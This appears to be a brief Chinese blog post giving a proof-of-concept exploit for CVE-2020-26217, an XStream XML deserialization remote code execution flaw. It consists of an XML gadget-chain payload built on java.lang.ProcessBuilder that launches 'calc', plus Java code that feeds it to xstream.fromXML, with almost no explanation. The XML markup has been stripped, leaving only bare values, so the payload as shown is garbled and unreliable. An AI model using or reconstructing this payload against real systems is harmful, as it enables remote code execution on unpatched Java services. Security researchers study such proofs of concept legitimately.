(CVE-2020-26217)XStream_XML反序列化远程代码执行

7月15日发布

040

# (CVE-2020-26217)XStream XML反序列化远程代码执行

https://x-stream.github.io/CVE-2020-26217.html

“`xml

0

text/plain

0
-1
1

calc

java.lang.ProcessBuilder
start

start

KEYS

0 0
0

false

0

test

“`

“`
XStream xstream = new XStream();
xstream.fromXML(xml);
“`

![image-20201117135642244](/static/qingy/(CVE-2020-26217)XStream_XML反序列化远程代码执行/img/image-20201117135642244.png)

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容

1新增沉浸式翻译插件deepl pro api共享